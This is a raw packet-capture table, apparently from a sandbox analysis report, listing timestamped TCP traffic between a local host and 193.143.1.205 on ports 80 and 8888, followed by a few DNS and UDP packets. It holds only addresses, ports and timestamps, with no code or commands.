Jan 11, 2025 07:11:34.421574116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.421586990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.421631098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.421631098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.421699047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.421710968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.421844006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.435000896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.435059071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.435101986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.435343027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.455895901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.455936909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.455949068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.456041098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.456059933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.456073999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.456173897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.456196070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.456201077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.456207991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.456232071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.456305981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.456345081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.456398964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.456410885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.456446886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.456511974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.456523895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.456561089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.474601030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.474647045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.474658966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.474766016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.474777937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.474790096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.474827051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.474827051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.474841118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.475003958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475014925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475027084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475038052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475050926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475053072 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.475063086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475084066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.475107908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.475492954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475506067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475517988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475528955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475541115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475548029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.475553989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475564003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475574017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.475575924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475586891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475598097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.475599051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475610971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.475615025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.475656986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.476322889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476336002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476346016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476357937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476368904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476371050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.476382971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.476387978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476401091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476412058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.476413012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476424932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476435900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476438999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.476449013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476459026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476464987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.476479053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.476511002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.477185011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477200031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477211952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477222919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477233887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477247000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477247000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.477257013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477268934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477269888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.477279902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477288961 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.477292061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477303028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477313995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477313995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.477325916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477340937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.477360010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.477946043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477960110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477972031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.477987051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.478009939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.491564989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.491611004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.491622925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.491746902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.491760015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.491770029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.491780996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.491791010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.491816998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.492010117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.492022038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.492033005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.492048979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.492059946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.492085934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.508670092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.508696079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.508707047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.508780956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.508826017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.508852005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.508950949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.508961916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.508971930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.508987904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.509001970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.509171009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.509181023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.509212971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.523544073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.523572922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.523582935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.523663044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.544436932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544465065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544476032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544547081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.544563055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.544606924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544620037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544702053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.544713974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544727087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544761896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.544883966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544894934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544903994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544909000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544914007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.544994116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.545229912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.545241117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.545269012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.559309006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559361935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559396029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559401989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.559494972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559540987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559614897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.559614897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.559618950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559629917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559669018 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.559737921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559748888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559788942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.559906006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559916973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559927940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.559954882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.560034037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560092926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.560168028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560178995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560189009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560199022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560210943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560220957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.560245037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.560483932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560494900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560504913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560523033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.560544968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.560623884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560632944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560645103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560672998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.560936928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560947895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560957909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560969114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560976028 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.560981035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560991049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.560996056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.561000109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561022043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.561033010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.561340094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561351061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561359882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561369896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561381102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561391115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561403036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561403990 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.561461926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.561862946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561873913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561880112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561885118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561891079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561896086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561901093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561911106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561917067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561927080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.561949015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.561980009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.562570095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.562582016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.562593937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.562603951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.562611103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.562618017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.562632084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.562633991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.562637091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.562648058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.562658072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.562659979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.562668085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.562680006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.562681913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.562701941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.562715054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.579921007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.579955101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.579965115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.580018044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.580020905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.580029964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.580055952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.580077887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.580116034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.580178976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.580190897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.580230951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.580275059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.580286980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.580322981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.580400944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.580442905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.580455065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.580478907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.596999884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597054005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597065926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597179890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597191095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597192049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.597192049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.597235918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.597290039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597306967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597318888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597330093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597347021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.597364902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.597532034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597542048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597553015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597562075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.597579002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.597594976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.612044096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.612093925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.612107038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.612200022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.632893085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.632914066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.632921934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.632961988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.632989883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.633105040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633116961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633126974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633172035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.633239985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633275032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633277893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.633333921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633344889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633372068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.633440971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633452892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633480072 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.633651018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633661985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633673906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633685112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633691072 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.633711100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.633855104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633866072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.633902073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.647691965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.647758961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.647768974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.647789001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.647824049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:35.178180933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:35.186130047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:35.657572985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:36.058391094 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:36.063353062 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:36.063476086 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:36.063716888 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:36.068450928 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:36.842295885 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:36.893697023 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:37.005542994 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:12:15.298336983 CET	50422	53	192.168.2.6	162.159.36.2
Jan 11, 2025 07:12:15.303222895 CET	53	50422	162.159.36.2	192.168.2.6
Jan 11, 2025 07:12:15.303325891 CET	50422	53	192.168.2.6	162.159.36.2
Jan 11, 2025 07:12:15.308191061 CET	53	50422	162.159.36.2	192.168.2.6
Jan 11, 2025 07:12:15.760206938 CET	50422	53	192.168.2.6	162.159.36.2
Jan 11, 2025 07:12:15.765407085 CET	53	50422	162.159.36.2	192.168.2.6
Jan 11, 2025 07:12:15.765507936 CET	50422	53	192.168.2.6	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:11:43.805552959 CET	60689	53	192.168.2.6	1.1.1.1
